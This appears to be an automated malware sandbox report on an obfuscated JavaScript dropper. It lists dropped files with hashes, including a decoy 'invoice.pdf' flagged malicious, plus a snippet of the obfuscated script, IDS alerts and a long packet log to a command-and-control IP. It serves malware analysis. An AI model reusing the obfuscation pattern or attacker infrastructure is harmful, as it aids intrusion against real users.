Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b874363c-c2a5-4d20-a60c-1ab5c5378b81.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16750), with CRLF line terminators
Entropy (8bit):	4.91565562527268
TrID:
File name:	187837506181165315.js
File size:	20'214 bytes
MD5:	1d223fbbd9e7f47e41ffe659a5625677
SHA1:	2d0ea7e9917e31424a5f6d7fabf3e98d44f21dd3
SHA256:	ded4d46613aca763efc316276b28d9ffa821abf680a797993518176b103bb139
SHA512:	fe6e764476e86380f40dc7ab3cce70e7468b95e2f4f0a096fb6d93491a23115d2253ce4a6de03d3adc513b075dc57a3c66c07345e337a29791c9aca29199eeca
SSDEEP:	384:Dkcu9zXoSBiw293QTiNM9JmWNn62GyU8qmZ+LaBCUtgW8+GwWnnKfj47aKJ4QXgv:wBmdOEo
TLSH:	D79241DDEA86CB4684C9C250E799283071B8C2C8C755C8E7377B2AF11858B6735F64FA
File Content Preview:	function mmrtloeia(){zjsauouuv=[1031,3079,5127,4103,2055,3072];var jwxbqpj=this[pgxncwnh+pqcdj+pajetsjjc+fqbuntrkd+luoord+tehvodkh+qpccqrv+pkrpns](this[bydzwpaa+pvxyhkse+jjiuhlm+pajetsjjc+yjexv+pgxncwnh+pkrpns][xmapp+pajetsjjc+luoord+pqcdj+pkrpns+luoord+c

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:13:01.625458+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49721	193.143.1.205	80	TCP
2025-01-10T22:13:04.181568+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49736	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:13:00.802295923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:00.807161093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:00.807238102 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:00.809819937 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:00.815504074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625271082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625382900 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625392914 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625403881 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625416994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625458002 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.625560045 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.625572920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625585079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625602007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625612020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625619888 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.625642061 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.625710011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.625755072 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.631043911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.671246052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.671261072 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.671272993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.671328068 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.671361923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.753789902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.753808022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.753820896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.753895998 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.754093885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754108906 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754125118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754132032 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.754138947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754153967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754158974 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.754184008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.754862070 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754883051 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754897118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754909992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754918098 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.754925013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.754945993 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.755603075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.755616903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.755630016 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.755646944 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.755661964 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.755676985 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.755678892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.755707979 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.756411076 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.758634090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.758646965 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.758682966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.799912930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.799932957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.799948931 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.799962997 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.800009012 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.800009966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.841260910 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.841276884 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.841325998 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.882564068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.882582903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.882596970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.882666111 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.882714033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.882728100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.882741928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.882775068 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.883042097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883088112 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.883111954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883126974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883140087 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883157015 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.883629084 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883644104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883660078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883668900 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.883673906 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883688927 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883688927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.883704901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.883722067 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.884507895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.884521961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.884535074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.884546995 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.884557009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.884565115 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.884572983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.884587049 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.884613037 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.885351896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.885365009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.885380030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.885401964 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.885415077 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.885425091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.885438919 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.885452986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.885479927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.886291981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.886305094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.886318922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.886332035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.886344910 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.886348009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.886358976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.886368036 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.886382103 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.887124062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.887136936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.887151003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.887177944 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.887202024 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.887532949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.887545109 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.887561083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.887595892 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.928703070 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.928721905 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.928807974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.928819895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.928832054 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.928879023 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.928971052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.928983927 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.928997993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.929013014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.929016113 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.929049969 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.969947100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.969963074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.969995022 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.970033884 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.970048904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.970062017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:01.970067978 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.970096111 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.973707914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:01.980166912 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.011553049 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011574030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011589050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011620998 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011643887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011658907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011665106 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.011672974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011687994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.011732101 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.012234926 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012299061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012331963 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.012346029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012650967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012665033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012677908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012693882 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.012706995 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.012711048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012725115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012738943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.012759924 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.013576031 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.013591051 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.013605118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.013617039 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.013617992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.013632059 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.013633013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.013648987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.013675928 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.014453888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.014467955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.014482021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.014494896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.014494896 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.014509916 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.014523983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.014525890 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.014553070 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.015367985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.015381098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.015396118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.015404940 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.015408993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.015424967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.015430927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.015439987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.015455961 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.016268015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.016282082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.016294956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.016303062 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.016308069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.016323090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.016324043 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.016339064 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.016349077 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.017081022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.017102003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.017116070 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.017122984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.017131090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.017144918 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.017148018 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.017163038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.017182112 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.017999887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018013954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018028021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018040895 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.018042088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018057108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018059969 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.018071890 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018086910 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.018846035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018867970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018881083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018883944 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.018893957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018908024 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.018908978 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018924952 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.018938065 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.019781113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.019795895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.019810915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.019818068 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.019825935 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.019840956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.019845009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.019855976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.019874096 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.020592928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.020631075 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.020673990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.020688057 CET	80	49721	193.143.1.205	192.168.2.6
